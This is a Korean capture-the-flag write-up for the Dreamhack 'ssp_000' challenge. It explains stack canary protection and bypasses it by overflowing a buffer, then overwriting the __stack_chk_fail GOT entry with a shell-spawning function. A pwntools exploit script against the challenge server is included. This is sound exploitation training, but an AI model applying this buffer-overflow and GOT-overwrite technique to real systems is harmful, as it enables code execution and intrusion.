dreamhack - ssp_000 writeup
[dreamhack] ssp_000 writeup
1. 문제

이 문제는 작동하고 있는 서비스(ssp_000)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
buf
변수에 입력을 받은 후, addr
와 value
에 입력을 받아서 addr
이 가리키는 주소에 value
값을 넣고 종료한다.
문제를 풀기위해서는 stack smashing protection에 대해서 알아야 한다.
일반적인 bof 공격이 main
주소의 리턴 주소를 덮어서 수행되다보니, 이를 막기위해서 리턴 주소 직전에 canary라고 불리는 랜덤한 값을 넣어놓는다.
이 값이 만약 bof
공격 등에 의해 변조된다면 __stack_chk_fail 함수가 실행되어 프로그램이 강제로 종료된다.
이를 우회하기 위해서는 두가지 방법이 있다.
-
canary
값을 어떻게든 leak해서 제대로 덮는 방법 -
canary
값과 상관없이 다른 취약점을 활용하는 방법
이 문제에서는 원하는 주소 addr
에 원하는 값 value
를 넣을 수 있는 코드가 존재하기 때문에, 이를 활용하면 될 것이다.
gdb
를 통해서 main
함수를 보면 원하는 주소에 원하는 값을 넣은 후에 __stack_chk_fail
함수가 존재함을 알 수 있다.
이 함수의 GOT
를 get_shell
함수의 주소로 overwrite하면 이 함수가 실행될때 get_shell
함수가 실행될 것이다.
다만, 이 함수는 canary
가 변조되었을때만 실행되기 때문에 앞서 buf
에 입력을 넣을 때 canary
까지 덮어줘야한다.
gdb
의 main
함수를 보면 read
함수가 [rbp-0x50]
에 넣는 것을 볼 수 있고, 0x80
만큼 입력할 수 있으므로 충분하다.
canary
는 main
함수 마지막부분을 보면 [rbp-0x8]
에 위치해서 fs:0x28
과 값을 비교하는 것을 볼 수 있으므로 0x50
만큼 덮어주면 canary
까지 덮일 것이다.
이를 토대로 exploit을 작성하였다.
from pwn import *
p = process("./ssp_000")
p = remote("host3.dreamhack.games", 21335)
e = ELF("./ssp_000")
canary_got = e.symbols["__stack_chk_fail"]
get_shell = e.symbols["get_shell"]
payload = b''
payload += b'a' * 80
p.send(payload)
# exploit1 got overwrite
print(p.recvuntil("Addr : "))
p.sendline(str(canary_got))
print(p.recvuntil("Value : "))
p.sendline(str(get_shell))
p.interactive()
exploit을 작성하면서 좀 헷갈렸던 부분은 addr
과 value
에 값을 넣는 부분이었는데, 제공된 C코드를 보면 %ld
서식문자를 통해 입력을 받고 있다.
이 %ld
는 long
형식의 10진수 정수형이고 scanf
는 문자열에서 해당 정수형을 찾을 것이기 때문에 p64()
등의 함수로 감싸거나 정수형으로 입력하면 안되고, str()
을 이용해서 문자열로 보내야한다.
이것 때문에 다해놓고 왜안되지…했음
해결~